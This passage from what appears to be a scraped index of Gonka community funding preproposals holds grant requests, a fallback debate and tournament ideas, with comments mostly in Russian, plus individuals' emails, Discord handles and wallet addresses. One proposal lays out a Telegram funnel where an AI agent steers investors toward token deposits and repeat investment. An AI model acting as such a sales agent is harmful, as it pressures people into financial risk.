The team sees this as early proof of product-market fit and now wants to test scaling and go-to-market strategies.
The team also has a secondary project currently on hold due to limited resources: high-quality UGC content about Gonka.
Example video: https://youtu.be/hwX_4_v6xxI
Beyond product development, the author has also contributed to the ecosystem by:
gonka1ue9uvex7cxea5y4xvhka240l0k457nhdt2qd7h
"}, {"location": "proposals/preproposals/f021bdb3-59f4-4906-bfaa-7b90b72019b1/#your-discord-id-for-contact-purposes", "title": "Your Discord ID for Contact Purposes", "text": "dmitriiv4054
"}, {"location": "proposals/preproposals/f021bdb3-59f4-4906-bfaa-7b90b72019b1/#email-address", "title": "Email Address", "text": "voronovda00@gmail.com
"}, {"location": "proposals/preproposals/f021bdb3-59f4-4906-bfaa-7b90b72019b1/#comments-1", "title": "Comments (1)", "text": ""}, {"location": "proposals/preproposals/f021bdb3-59f4-4906-bfaa-7b90b72019b1/#slava-mygonka", "title": "💬 Slava MyGonka", "text": "2026-06-11 07:39 · 👍 0 · 👎 0
Привет! Классное видео! https://youtu.be/hwX_4_v6xxI Одно из лучших про Gonka
Пришлось гуглить, что такое UGC-контент. это User Generated Content, то есть контент, созданный пользователями, а не самой компанией или официальной командой проекта.
Ваш проект: Gonka-API.org - коммерческий Брокер. Таких уже в сети, кажется, 9. Выделив финансирование вам, мы поставим в невыгодное положение другие Гейты (брокеры).
Я бы хотел, чтобы каждый гейт предоставил токены для бесплатных АПИ. Вот эти токены можно оплатить из средств Комьюнити Пула.
Давайте подумаем в эту сторону, т.е. чтобы Гонка компенсировала все затраты Брокеров на Инференс.
Вопросы: 1. Сколько денег вам нужно (в GNK с вестингом) на то, чтобы продолжить создавать видео контент такого уровня? Можно короче. 2. Можно планы в цифрах?
Крутой контент. Молодцы! Видно, что профессионалы, а не я на коленке )))
View on gonka.vote
"}, {"location": "proposals/preproposals/f215996d-e562-42b5-b2b1-400226e612fa/", "title": "Gonka Media Library by Saccade", "text": "🔴 ExpiredAuthor: Dem | Démíngān Created: 2026-07-03 11:30 UTC Closes: 2026-07-10 11:28 UTC Language: EN Votes: 2 Avg. Bid: 26.7K GNK
Gonka Media Library — Explainer Library & Platform Explainer series (20 ep., 40 min) + web download & self-branding platform
"}, {"location": "proposals/preproposals/f215996d-e562-42b5-b2b1-400226e612fa/#full-proposal", "title": "Full Proposal", "text": "Proposal — Gonka Media Library
"}, {"location": "proposals/preproposals/f215996d-e562-42b5-b2b1-400226e612fa/#project", "title": "Project", "text": "Gonka Media Library — Explainer Library & Platform
"}, {"location": "proposals/preproposals/f215996d-e562-42b5-b2b1-400226e612fa/#dao", "title": "DAO", "text": "Gonka
"}, {"location": "proposals/preproposals/f215996d-e562-42b5-b2b1-400226e612fa/#scope", "title": "Scope", "text": "Explainer series 20 episodes, 40 min total + web download & self-branding platform.
"}, {"location": "proposals/preproposals/f215996d-e562-42b5-b2b1-400226e612fa/#deliverables", "title": "Deliverables", "text": "Full package: everything in Deliverables, plus 1 year hosting & support.
Total: 40,000 GNK + 74,000 USDT
Fixed package price · paid in two assets.
"}, {"location": "proposals/preproposals/f215996d-e562-42b5-b2b1-400226e612fa/#not-included", "title": "Not Included", "text": "Portal Proposal
Saccade Media House t.me/JackyBlack · saccade.media
"}, {"location": "proposals/preproposals/f215996d-e562-42b5-b2b1-400226e612fa/#comments-2", "title": "Comments (2)", "text": ""}, {"location": "proposals/preproposals/f215996d-e562-42b5-b2b1-400226e612fa/#andrey-a", "title": "💬 Andrey A", "text": "2026-07-06 08:29 · 👍 1 · 👎 0
Абсолютно нет вопросов к качеству роликов и есть личное желание их увидить. Вопросы возникают: 1. \"Приемка: DAO предоставляет один консолидированный список правок в течение 5 рабочих дней.\" Срок маленький, учитывая отсутствие в DAO людей, которые займутся этим фултайм. Более подойдет поэтапное принятие.
При этом возможностей для медиадистрибьюции они имеют немного. Гораздо лучше запустить дистрибьюции на общие ресурсы gonka , откуда уже направить их в те же гейты. Иначе получается, что мы создаем качественные и дорогостоящие материалы, на распространение которых средства практически не будут потрачены.
"}, {"location": "proposals/preproposals/f215996d-e562-42b5-b2b1-400226e612fa/#jack-chernov-jack-black", "title": "💬 Jack Chernov (Jack Black)", "text": "2026-07-06 14:31 · 👍 0 · 👎 0
Привет, Андрей! Спасибо большое за вопрос.
Срок можно увеличить, мы никуда не убежим - мы участники сообщества. Просто хочется какой-то срок, чтобы не растягивать.
Пулы, гейты - на самом деле и во время участия в выставках это пригодится и для разбрасывания по инфлам как интеграция (частично) - тоже да. То есть если инфлюенсер рассказывает в интеграции про механику - он показывает на экране схему, которую мы визализируем по красоте. В некоторых случаях это может быть как интгерация полноценно.
По дистрибуции мы ведем переговоры с Soul Publishing. Пока есть \"кивок головой\", но деталей мы еще не обсудили это всячески стараемся стимулировать. Сегодня очередная попытка будет.
По сути мы хотим создать гибкий медиа набор, который можно будет содержать в порядке и дистрибутировать оперативно в разных направлениях. Это поможет в том числе и в медиа коллаборациях, чтобы партнер понял детали, не погружаясь в вайт пейпер.
Вот посмотри пример нашего экслпейнера
https://saccade.media/ru/unboring-explainer
Он объединил компанию вокруг инструмента и вдохновил на его использование. Не просто объяснил сухо, а местами улыбнул. В Гонке мы хотим сделать в таком ключе, просто чуть менее \"няшно\". Но все равно, душевно.
Спасибо за дискуссию, всегда на связи!
@jackyblack
View on gonka.vote
"}, {"location": "proposals/preproposals/f341b83c-78f0-4ab2-b8fd-ddc7ac5d9c37/", "title": "Привлечение $3M+ нового капитала на Uniswap v2.0", "text": "🟢 ActiveAuthor: Andrey Orlov Created: 2026-07-09 16:25 UTC Closes: 2026-08-08 16:25 UTC Language: RU Votes: 5 Avg. Bid: 138.3K GNK
Предлагаем за 90 дней привлечь от $3 млн нового капитала в GONKA через масштабируемую Telegram-воронку с поэтапным финансированием и KPI
"}, {"location": "proposals/preproposals/f341b83c-78f0-4ab2-b8fd-ddc7ac5d9c37/#full-proposal", "title": "Full Proposal", "text": "Суть предложения 2. Кто мы 3. Что мы предлагаем 4. KPI и экономика проекта 5. Как будет работать воронка 6. Стратегия удержания пользователей 7. Финансирование 8. Вознаграждение команды 9. Отчетность и прозрачность 10. Что получает GONKA 11. Защита от фрода и методика расчета KPI 12. Дополнительные материалы
1. Суть предложения
Мы предлагаем реализовать маркетинговую кампанию, целью которой является привлечение нового капитала в экосистему GONKA.
За 90 дней мы планируем построить систему, которая будет ежедневно привлекать новых пользователей и конвертировать их в инвесторов через покупку токена на Uniswap.
Общий рекламный бюджет программы составляет $300,000 и разделен на 6 последовательных этапов по $50,000. Настоящий proposal касается только первого этапа, в рамках которого запрашивается финансирование $50,000.
KPI первого этапа — привлечение нового капитала в объеме не менее 4x от рекламного бюджета. После успешного выполнения KPI мы опубликуем proposal на второй этап программы. Чтобы не останавливать уже работающую инфраструктуру привлечения пользователей, следующий proposal планируется публиковать заранее, до полного расходования бюджета текущего этапа, однако его реализация начнется только после выполнения KPI предыдущего этапа и одобрения сообщества.
Общий KPI всей программы — привлечение не менее $3,000,000 нового капитала через Uniswap.
KPI построен по максимально консервативной модели и учитывает только первое финансовое действие пользователя. Повторные инвестиции, удержание аудитории, органический рост и сарафанный эффект в расчет KPI не включаются.
По нашей внутренней оценке только платный трафик способен привлечь $6-7 млн нового капитала. Однако эти показатели мы сознательно не закладываем в обязательный KPI, чтобы не завышать ожидаемый результат.
После завершения всей программы GONKA получает не только новых пользователей, но и полностью готовую инфраструктуру привлечения капитала, которую сможет использовать для дальнейшего масштабирования.
⸻
Меня зовут Андрей Орловский, я являюсь основателем команды и буду лично отвечать за реализацию данного proposal. На сегодняшний день наша команда базируется в Цюрихе и состоит из 10 человек: 4 media buyer, 5 специалистов по обработке пользователей и 1 технического специалиста.
Мы работаем в affiliate-маркетинге с 2023 года и сегодня самостоятельно управляем рекламным бюджетом более $70,000 в месяц.
Основная специализация нашей команды — построение Telegram-воронок для привлечения инвесторов в различные проекты. Именно этим направлением мы занимаемся ежедневно: привлекаем целевую аудиторию, выстраиваем путь пользователя от первого контакта до первого депозита и постоянно оптимизируем каждый этап воронки на основе накопленной статистики.
За последние годы мы накопили большой объем практических данных по различным географиям, хорошо понимаем экономику привлечения пользователей, стоимость подписчика, стоимость диалога и стоимость первого финансового действия. Это позволяет принимать решения не на предположениях, а на основе реальных данных.
За время работы мы сформировали собственную систему привлечения и обработки инвесторов, которую ежедневно используем в своих проектах. Мы понимаем, что результат зависит не только от качества трафика, но и от качества дальнейшей работы с пользователем, поэтому уделяем одинаковое внимание каждому этапу воронки — от первого рекламного касания до первого депозита и последующего сопровождения.
Для максимальной прозрачности мы также подготовили отдельный Telegram-канал, в котором собраны материалы по proposal: примеры Telegram-воронки, лендингов, креативов, рекламных кабинетов, партнерств, и другие подтверждения нашей работы.
Ссылка: https://t.me/proposaluniswap
Именно этот опыт и лег в основу предложения, которое мы подготовили для GONKA.
⸻——————————————
Наша цель — построить для GONKA систему, которая будет ежедневно привлекать новый капитал через покупку токена на Uniswap.
Мы не рассматриваем этот проект как разовую рекламную кампанию. Наша задача — создать работающую систему привлечения пользователей, которую можно масштабировать и использовать в долгосрочной перспективе.
Основным показателем эффективности для нас является не количество просмотров, кликов или регистраций, а объем нового капитала, привлеченного в экосистему GONKA.
Именно поэтому вся маркетинговая стратегия, воронка, обработка пользователей и система удержания строятся вокруг одной цели — максимального объема привлеченного капитала через Uniswap с его последующим удержанием
⸻
Общий KPI всей программы — привлечение не менее $3,000,000 нового капитала через Uniswap.
Настоящий proposal касается только первого этапа стоимостью $50,000, KPI которого составляет привлечение нового капитала в размере не менее 4x от рекламного бюджета. После успешного выполнения первого этапа будет опубликован proposal на второй этап программы с целевым KPI 7x, начиная с третьего этапа целевой KPI составит 10x+ от объема рекламного бюджета.
Мы считаем такие показатели максимально консервативными. По нашей внутренней оценке только платный трафик способен привлечь $6–7 млн нового капитала, однако эти показатели мы сознательно не закладываем в обязательный KPI.
Средняя стоимость подписчика в наших воронках составляет $4–6, стоимость нового диалога — $6–12 в зависимости от географии.
При рекламном бюджете $300,000 это позволяет получить более 30,000 новых диалогов за период кампании.
Даже сегодня, работая с менее трастовыми продуктами, около 20–23% пользователей начинают финансовое взаимодействие. При расчете KPI мы также используем минимальный размер первого депозита (FTD) — $500, несмотря на то, что фактический первый депозит многих пользователей может быть значительно выше.
KPI рассчитывается исключительно по первому финансовому действию пользователя (FTD). Повторные инвестиции (RD), удержание аудитории, органический рост и сарафанный эффект в расчет обязательного KPI не входят, поскольку именно FTD является объективной и проверяемой метрикой.
По нашему практическому опыту, основная часть привлеченного капитала формируется за счет повторных инвестиций пользователей. Именно поэтому мы фокусируемся на аудитории Tier 1, где потенциал дальнейших инвестиций значительно выше.
Именно по этой причине наша внутренняя оценка составляет $6–7 млн+, тогда как официальный KPI ограничен $3 млн и учитывает только первое финансовое действие пользователя.
⸻
Наша задача — провести пользователя от первого знакомства с проектом до покупки токена через Uniswap, а затем сопровождать его, увеличивая вероятность повторных инвестиций.
Meta Ads
Пользователь впервые знакомится с GONKA через рекламные кампании и переходит на лендинг.
↓
Лендинг
Лендинг выполняет роль промежуточного этапа перед Telegram. Его задача — вызвать первоначальный интерес к проекту, сформировать базовое доверие и мотивировать пользователя перейти в Telegram.
↓
Telegram
После перехода пользователь отправляет заявку на вступление в Telegram-канал. Бот автоматически принимает заявку, отправляет приветственное сообщение с базовой информацией о проекте и предоставляет контакты для дальнейшей коммуникации.
Telegram становится основной площадкой взаимодействия с пользователем. Именно здесь за счет контента постепенно формируется доверие к проекту.
↓
Tora AI
После первого контакта основную часть коммуникации берет на себя Tora Ai. Он отвечает на вопросы пользователей, сопровождает их, помогает разобраться в проекте и доводит большинство пользователей до первого депозита.
↓
Менеджер
Если пользователь планирует крупную инвестицию или AI Agent определяет необходимость личной коммуникации, диалог передается менеджеру, который сопровождает пользователя до совершения покупки.
↓
Покупка токена через Uniswap
Основная цель всей воронки — привлечение нового капитала через покупку токена на Uniswap.
↓
Долгосрочное сопровождение
После первого депозита работа не заканчивается. Пользователь продолжает получать сопровождение через AI Agent и менеджеров. Основная задача этого этапа — укреплять доверие к проекту, сопровождать пользователя внутри экосистемы и увеличивать объем повторных инвестиций, дополнительно отправляю демо версию канала https://t.me/demo_chanel_gonka
⸻
Наша задача — не просто довести пользователя до первого депозита, а сделать его долгосрочным участником экосистемы GONKA.
После первого финансового действия работа с пользователем не заканчивается. AI Agent и менеджеры продолжают сопровождать пользователя, отвечают на возникающие вопросы, помогают разобраться в возможностях экосистемы и поддерживают постоянную коммуникацию.
Именно повторные инвестиции формируют основную часть долгосрочной ценности каждого привлеченного пользователя. Поэтому стратегия удержания является не отдельным этапом, а продолжением всей воронки.
Весь контент, коммуникация, работа AI Agent и менеджеров будут направлены на формирование доверия к проекту, повышение вовлеченности пользователя и долгосрочное участие в экосистеме GONKA.
Такой подход позволяет постепенно увеличивать LTV каждого пользователя, повышает вероятность повторных инвестиций и способствует формированию сообщества долгосрочных держателей токена.
⸻
Общая программа рассчитана на рекламный бюджет $300,000 и реализацию в течение 3-4 месяцев. Программа разделена на 6 последовательных этапов по $50,000.
Настоящий proposal касается только первого этапа, в рамках которого запрашивается финансирование $50,000.
Первый этап посвящен построению инфраструктуры, запуску рекламных кампаний, тестированию воронки и поиску наиболее эффективных связок. На этом этапе определяются лучшие GEO, аудитории, рекламные креативы, подходы к обработке пользователей и оптимальная экономика привлечения капитала.
Целевой KPI первого этапа составляет 4x от рекламного бюджета.
После выполнения KPI первого этапа мы опубликуем proposal на второй этап программы, целевой KPI которого составит 7x от рекламного бюджета. Начиная с третьего этапа целевой KPI составит 10x+.
Чтобы не останавливать уже работающую инфраструктуру и рекламные кампании, proposal на следующий этап планируется публиковать заранее, до полного расходования бюджета текущего этапа, однако запуск каждого нового этапа возможен только после выполнения KPI предыдущего этапа и одобрения сообщества.
Мы считаем такую модель наиболее безопасной для GONKA, поскольку сообщество сохраняет полный контроль над каждым этапом программы и принимает решение о дальнейшем финансировании только на основании достигнутых результатов.
⸻
За реализацию каждого этапа наше вознаграждение составляет:
Например, в рамках первого этапа команда получает только фиксированную часть 8%. Оставшиеся 12% выплачиваются только при успешном выполнении KPI первого этапа и утверждении сообществом второго proposal.
Если KPI не выполнен или следующий этап не утвержден, переменная часть вознаграждения не выплачивается.
Отдельно хотим отметить, что все вознаграждение команды мы предлагаем выплачивать исключительно в токене GNK.
⸻
Выполнение KPI будет подтверждаться на основании внутренней CRM-системы, в которой фиксируется каждый привлеченный пользователь.
После первого депозита в систему заносится адрес кошелька пользователя, сумма первого депозита и дальнейшая история его взаимодействия с проектом. Именно на основании этих данных будет производиться расчет выполнения KPI по каждому этапу кампании.
Один раз в неделю мы будем публиковать подробный отчет о ходе реализации проекта. В него войдут текущие результаты кампании, выполнение KPI, стоимость подписчика, стоимость диалога, результаты по различным географиям, текущие гипотезы, проведенные тесты, достигнутые результаты и планы на следующую неделю.
При необходимости мы готовы проводить еженедельные AMA-созвоны, на которых будем подробно отвечать на вопросы сообщества и разбирать результаты кампании.
Если в процессе реализации проекта у маркетингового комитета возникнут дополнительные вопросы, мы готовы в любой момент предоставить необходимую информацию и отдельно обсудить текущие результаты.
⸻
После завершения кампании GONKA получает не только от $3,000,000 нового капитала, но и полностью готовую систему привлечения пользователей, которая остается в распоряжении проекта и может использоваться для дальнейшего масштабирования.
В рамках реализации проекта GONKA получает:
По сути, GONKA получает не разовую рекламную кампанию, а полноценный маркетинговый актив, который продолжит работать и после завершения финансирования, привлекать новых пользователей и увеличивать объем капитала внутри экосистемы.
⸻
Для расчета KPI будет использоваться прозрачная методика, направленная не только на учет объема привлеченного капитала, но и на подтверждение его качества.
При расчете KPI используются следующие принципы:
Например, если KPI первого этапа составляет 4x, то при рекламном бюджете $50,000 на момент подачи proposal на второй этап в кошельках пользователей, привлеченных в рамках первого этапа, должно находиться не менее $200,000. Именно эта сумма считается выполнением KPI, а не общий объем всех покупок за весь период.
Такая модель позволяет оценивать не только объем привлеченного капитала, но и его качество, поскольку ключевой метрикой является объем средств, который фактически остается в экосистеме GONKA.
———————-
Для более детального ознакомления с proposal и нашей работой подготовлены следующие материалы:
Пример Telegram-канала, который демонстрирует структуру будущей воронки. Данный канал является демонстрационной версией и создан исключительно для того, чтобы показать общую механику, структуру и подход к работе. Ссылка: https://t.me/demo_chanel_gonka
Материалами по proposal — лендинги, креативы, видео рекламных кабинетов, примеры Telegram-воронки, информация о партнерах, записи AMA-сессий и другие подтверждения нашей работы Ссылка: https://t.me/proposaluniswap
Личный Telegram для связи — если у вас останутся вопросы по proposal или потребуется дополнительная информация, вы всегда можете связаться со мной напрямую. TG: @FrancesGreen9
2026-07-23 19:01 · 👍 1 · 👎 0
Все это не работает, за такой бюджет который просят проще хорошего MM и маркетинг который реально работает на различных целевых площадках таких как DEXTools,DexScreener,CoinGecko и нормальные колы у топовых инфлов.
View on gonka.vote
"}, {"location": "proposals/preproposals/f6b4e378-8950-4bcf-ac7f-d70d9d246630/", "title": "12+1. Team EntroPi Grant Request", "text": "🔴 ExpiredAuthor: Slava MyGonka Created: 2026-06-11 05:54 UTC Closes: 2026-07-11 05:54 UTC Language: EN Votes: 0 Avg. Bid: 0.00 GNK
Team EntroPi builds a decentralized AI orchestration layer for task decomposition, routing, and adaptive execution across multiple AI infrastructures.
"}, {"location": "proposals/preproposals/f6b4e378-8950-4bcf-ac7f-d70d9d246630/#full-proposal", "title": "Full Proposal", "text": "What does your team plan to build or deliver for Gonka over the next three months?
Over the next three months, Team EntroPi plans to continue developing a decentralized cognitive orchestration layer.
The system is designed to decompose complex goals into executable tasks, route them across different types of AI infrastructure, and improve execution over time through reinforcement learning.
The infrastructure layer is intended to work across:
The goal is to create an orchestration layer that can coordinate AI task execution across multiple environments and make decentralized AI workflows more efficient and adaptive.
"}, {"location": "proposals/preproposals/f6b4e378-8950-4bcf-ac7f-d70d9d246630/#what-contributions-or-products-has-your-team-already-developed-for-gonka-with-links-pls", "title": "What contributions or products has your team already developed for Gonka (with links pls)?", "text": "Team EntroPi has developed or is developing a decentralized cognitive orchestration layer.
The project decomposes complex goals into executable tasks, routes them across local, cloud, sovereign, and decentralized AI infrastructure, and continuously improves execution through reinforcement learning.
"}, {"location": "proposals/preproposals/f6b4e378-8950-4bcf-ac7f-d70d9d246630/#gnk-wallet-address", "title": "GNK Wallet Address", "text": "gonka16vkaxtvglq7kghtf846eg0d92j7amdgx7f95ud
"}, {"location": "proposals/preproposals/f6b4e378-8950-4bcf-ac7f-d70d9d246630/#your-discord-id-for-contact-purposes", "title": "Your Discord ID for Contact Purposes", "text": "ihortanyenkoff
"}, {"location": "proposals/preproposals/f6b4e378-8950-4bcf-ac7f-d70d9d246630/#email-address", "title": "Email Address", "text": "it@entropi.ai
"}, {"location": "proposals/preproposals/f6b4e378-8950-4bcf-ac7f-d70d9d246630/#comments-1", "title": "Comments (1)", "text": ""}, {"location": "proposals/preproposals/f6b4e378-8950-4bcf-ac7f-d70d9d246630/#slava-mygonka", "title": "💬 Slava MyGonka", "text": "2026-06-11 08:07 · 👍 0 · 👎 0
Привет! 1. Вы из Германии? 2. У вас уже есть рабочий продукт, верно? https://entropi.ai/ 3. Как он связан с Gonka? 4. Какое количество GNK вы бы хотели получить? 5. Какой измеримый результат планируете предоставить?
Я не до конца понял суть проекта, но, может, кто-то из комьюнити разберется в деталях. Спасибо за инициативу!
View on gonka.vote
"}, {"location": "proposals/preproposals/f9a4302d-7823-4cd4-9987-b0758569db93/", "title": "Should Gonka make fallbacks to other services like OpenRouter?", "text": "🔴 ExpiredAuthor: Viktor Created: 2026-07-17 08:36 UTC Closes: 2026-07-24 08:19 UTC Language: EN Votes: 1 Avg. Bid: 0.00 GNK
Нужно ли Gonka делать собственные fallbacks (на OpenRouter) на случай, когда сеть или отдельные брокеры отваливаются.
Решили: польза от фаллбеков не окупает рисков
"}, {"location": "proposals/preproposals/f9a4302d-7823-4cd4-9987-b0758569db93/#full-proposal", "title": "Full Proposal", "text": "Контекст
Обсуждали план — собирать много лендингов «своих брокеров» под целевые аудитории (нашими силами и силами существующих брокеров) и распределять трафик между брокерами, подходящими под конкретную ЦА, а также под обёртками технологически стабильных брокеров.
В рамках этого рассматривался вариант: одновременно слать запрос на несколько брокеров и брать первый пришедший ответ, а если отваливается вся сеть — делать fallback на OpenRouter, как минимум для тех, кому нормальны цены уровня 1/3–1/5 от OpenRouter. Именно вокруг этого фаллбека на нашей стороне и шла дискуссия.
"}, {"location": "proposals/preproposals/f9a4302d-7823-4cd4-9987-b0758569db93/#_1", "title": "Аргументы ЗА фаллбеки на нашей стороне", "text": "Без стабильности не будет виральности. Если у клиентов Gonka регулярно отваливается инференс, позитивного вирального эффекта распространения не получится.
Не хотим терять приведённых клиентов из-за «неудачного» брокера. Брокеры, продающие инференс по себестоимости с небольшой наценкой, физически не смогут оплачивать OpenRouter, а принуждать всех к этому странно и нереализуемо. При этом терять клиентов, которых мы сами привели, из-за того что они попали на слабого брокера, не хочется.
Пользователю нужно «нажал 2 кнопки — и всё работает». Если брокеры сами настроят фаллбеки, то к нам будет приходить уже нормальный ответ и до наших фаллбеков дело просто не дойдёт — то есть они выступают страховкой, а не постоянной статьёй расходов.
Лучшее понимание цен + поддержка курса GNK. Мы будем точнее понимать, по каким ценам продавать инференс, и в большинстве случаев это на порядки дороже, чем у сети / дешёвых брокеров. Соответственно, мы сможем и оплачивать OpenRouter, и направлять порядка половины выручки на закупку GNK с рынка — обеспечивая себе баланс в GNK и способствуя росту курса.
Экономика сходится. Если продавать B2B по цене выше 1/10 от OpenRouter при доле отвалов до ~10%, либо подписку за $5–10/мес, которой пользователь почти не пользуется — этого достаточно, чтобы покрыть расходы на фаллбеки. В исключительных случаях просадку можно закрывать из маркетингового бюджета, чтобы не портить впечатление о сети.
Стратегический вижн. Стабильно падающая цена токена — риск, что от проекта отвернутся инвесторы; растущий объём публичных кейсов использования, наоборот, демонстрирует успех и упрощает вовлечение новых участников (от разработчиков до производителей ASIC). Мы не в вакууме — есть конкуренты, надо бежать быстрее. Отсюда вопрос: не стоит ли применить «fake it until you make it» в части ощущения работающей сети, чтобы быстрее запустить виральные процессы.
Фидбек от разработчиков. По обратной связи от программистов, использующих AI API: фаллбеки они настраивают сами. B2B-клиентам и программистам наши фаллбеки не нужны — они хотят покупать именно то, что у нас есть, без надстроек.
Не смешивать слои. Сервис, который дёшево продаёт API под агента и собирает его фаллбеками «с миру по нитке» (включая Gonka), — это отдельный продукт, способный работать, даже если Gonka умрёт. Это не Gonka-брокер, и путать эти слои опасно. Такого продукта у нас пока и нет.
Фаллбек лучше настраивать самому. Свои фаллбеки, настроенные как ты хочешь, всегда лучше, чем когда за тебя это делает third-party так, как ей удобно.
Слишком рисковая бизнес-модель. Если отваливается не 10%, а 50% запросов или на полдня — уходишь в большой минус. Такое можно себе позволить, только когда карман жгут миллионы инвесторских денег. Разумнее продавать то, что есть, ничего не выдумывая.
Кто платит за фаллбек? Открытый вопрос: как одновременно давать «дешёвую цену» и оплачивать более дорогой фаллбек-инференс — экономика этого на «дешёвом» тарифе неочевидна.
Идея делать фаллбеки на нашей стороне снимается, на старте это точно не необходимо.
View on gonka.vote
"}, {"location": "proposals/preproposals/fd9989ca-7c5b-4a2f-baf4-2465e6915ba6/", "title": "Предложение по развитию игровой экосистемы блокчейна через турнирные пулы вознаг", "text": "🔴 ExpiredAuthor: Victor Created: 2026-06-12 21:31 UTC Closes: 2026-07-12 21:31 UTC Language: RU Votes: 0 Avg. Bid: 0.00 GNK
Tournament Yield Pools — механизм интеграции игровых турниров с инфраструктурой блокчейна для привлечения пользователей, увеличения ликвидности и роста сетевой активности.
"}, {"location": "proposals/preproposals/fd9989ca-7c5b-4a2f-baf4-2465e6915ba6/#full-proposal", "title": "Full Proposal", "text": ""}, {"location": "proposals/preproposals/fd9989ca-7c5b-4a2f-baf4-2465e6915ba6/#_2", "title": "Проблема", "text": "Большинство игровых турниров работают по простой модели:
Такая модель не создаёт долгосрочной ценности ни для игры, ни для блокчейна.
Одновременно многие блокчейны сталкиваются со следующими задачами:
Предлагается механизм Tournament Yield Pools.
Игровые турниры становятся инструментом роста блокчейн-экосистемы.
Вместо хранения турнирных взносов без использования средства автоматически направляются в существующие механизмы доходности сети.
"}, {"location": "proposals/preproposals/fd9989ca-7c5b-4a2f-baf4-2465e6915ba6/#_4", "title": "Как работает система", "text": ""}, {"location": "proposals/preproposals/fd9989ca-7c5b-4a2f-baf4-2465e6915ba6/#1", "title": "1. Вход в турнир", "text": "Игрок оплачивает фиксированный взнос.
Например:
Средства поступают в смарт-контракт турнирного пула.
"}, {"location": "proposals/preproposals/fd9989ca-7c5b-4a2f-baf4-2465e6915ba6/#2", "title": "2. Размещение средств", "text": "Смарт-контракт автоматически распределяет средства между инфраструктурными механизмами блокчейна:
"}, {"location": "proposals/preproposals/fd9989ca-7c5b-4a2f-baf4-2465e6915ba6/#_5", "title": "Стейкинг валидаторов", "text": "Средства участвуют в защите сети и получают вознаграждение за стейкинг.
"}, {"location": "proposals/preproposals/fd9989ca-7c5b-4a2f-baf4-2465e6915ba6/#dex-", "title": "DEX-пулы ликвидности (опционально)", "text": "Средства размещаются в пулах ликвидности и получают часть торговых комиссий.
"}, {"location": "proposals/preproposals/fd9989ca-7c5b-4a2f-baf4-2465e6915ba6/#_6", "title": "Протоколы кредитования (опционально)", "text": "Средства могут использоваться в lending-протоколах сети для получения процентного дохода.
"}, {"location": "proposals/preproposals/fd9989ca-7c5b-4a2f-baf4-2465e6915ba6/#ai-", "title": "AI-инфраструктура (опционально)", "text": "Часть средств может направляться на финансирование вычислительных ресурсов, GPU и сервисов искусственного интеллекта внутри экосистемы.
"}, {"location": "proposals/preproposals/fd9989ca-7c5b-4a2f-baf4-2465e6915ba6/#3", "title": "3. Формирование дохода", "text": "Все доходы от стейкинга, DEX и других протоколов аккумулируются в отдельном призовом пуле.
Основной капитал продолжает работать внутри экосистемы.
"}, {"location": "proposals/preproposals/fd9989ca-7c5b-4a2f-baf4-2465e6915ba6/#4", "title": "4. Турнир", "text": "Игроки соревнуются внутри игры.
Победители определяются по игровым показателям:
Полученный доход распределяется между лучшими участниками.
Пример:
Модель может настраиваться под конкретную игру.
"}, {"location": "proposals/preproposals/fd9989ca-7c5b-4a2f-baf4-2465e6915ba6/#_7", "title": "Что получают игроки", "text": ""}, {"location": "proposals/preproposals/fd9989ca-7c5b-4a2f-baf4-2465e6915ba6/#_8", "title": "Победители", "text": "Получают награды из дохода, который генерируется средствами турнирного пула.
"}, {"location": "proposals/preproposals/fd9989ca-7c5b-4a2f-baf4-2465e6915ba6/#_9", "title": "Остальные участники", "text": "Их вклад продолжает работать внутри системы и участвует в формировании будущих наград.
Каждый новый турнир предоставляет возможность улучшить результат и получить часть доходов экосистемы.
"}, {"location": "proposals/preproposals/fd9989ca-7c5b-4a2f-baf4-2465e6915ba6/#_10", "title": "Что получает блокчейн", "text": ""}, {"location": "proposals/preproposals/fd9989ca-7c5b-4a2f-baf4-2465e6915ba6/#tvl", "title": "Рост TVL", "text": "Каждый турнир увеличивает объём средств внутри сети.
"}, {"location": "proposals/preproposals/fd9989ca-7c5b-4a2f-baf4-2465e6915ba6/#defi", "title": "Рост активности DeFi", "text": "Появляется дополнительный поток ликвидности в:
Игровые проекты становятся источником новых пользователей для блокчейна.
"}, {"location": "proposals/preproposals/fd9989ca-7c5b-4a2f-baf4-2465e6915ba6/#_12", "title": "Увеличение использования токена сети", "text": "Игровая активность напрямую связана с инфраструктурой блокчейна.
"}, {"location": "proposals/preproposals/fd9989ca-7c5b-4a2f-baf4-2465e6915ba6/#_13", "title": "Первая площадка для тестирования", "text": "В качестве пилотного проекта предлагается использовать игру HardCore Arena.
Текущий статус:
HardCore Arena позволит протестировать модель на реальных пользователях и подготовить инфраструктуру для подключения других игр.
"}, {"location": "proposals/preproposals/fd9989ca-7c5b-4a2f-baf4-2465e6915ba6/#_14", "title": "Необходимая разработка", "text": "Для реализации требуется создание набора смарт-контрактов:
В классических турнирах призы состоятся из национальных проигравших участников. В пулах доходности турниров призы зависят от доходов, которые генерируют средства участников внутри независимой подвески: стейкинга, ликвидности пулов, кредитных протоколов и других показателей доходности. Это превращает игровую активность в источник роста сети, сеть — в источник дополнительных ценностей для игроков.
"}, {"location": "proposals/preproposals/fd9989ca-7c5b-4a2f-baf4-2465e6915ba6/#_15", "title": "Ожидаемый результат", "text": "Создание универсального механизма, который позволит любому игровому проекту использовать блокчейн не только как платёжный слой, но и как инструмент формирования устойчивой экономики турниров.
Модель способна масштабироваться на множество игр и стать дополнительным драйвером роста экосистемы блокчейна.
"}, {"location": "proposals/preproposals/fd9989ca-7c5b-4a2f-baf4-2465e6915ba6/#comments-4", "title": "Comments (4)", "text": ""}, {"location": "proposals/preproposals/fd9989ca-7c5b-4a2f-baf4-2465e6915ba6/#slava-mygonka", "title": "💬 Slava MyGonka", "text": "2026-06-12 22:04 · 👍 0 · 👎 0
Большинство турниров - это некоммерческое мероприятие. Часто оно даже убыточно. Часто, чтобы покрыть затраты кроме стартовых взносов еще привлекается финансирование: - спонсоры - реклама - гос поддержка
Если и есть прибыль, то это - доход организатора.
В сети PoW нет стейкинга. Это есть только в сетях PoS.
Инвестиции в Пулы Ликвидности - рискованны.
Идея с турнирами - прикольная. Можно на проведение турнира запросить средства из Комьюнити Пула.
Но по чем турнир? Как прикрутить к турниру Gonka? )
"}, {"location": "proposals/preproposals/fd9989ca-7c5b-4a2f-baf4-2465e6915ba6/#victor", "title": "💬 Victor", "text": "2026-06-12 22:23 · 👍 0 · 👎 0
Я разрабатываю модель как универсальный механизм доходности турниров для экосистем.
Если приземлить к Гонке:
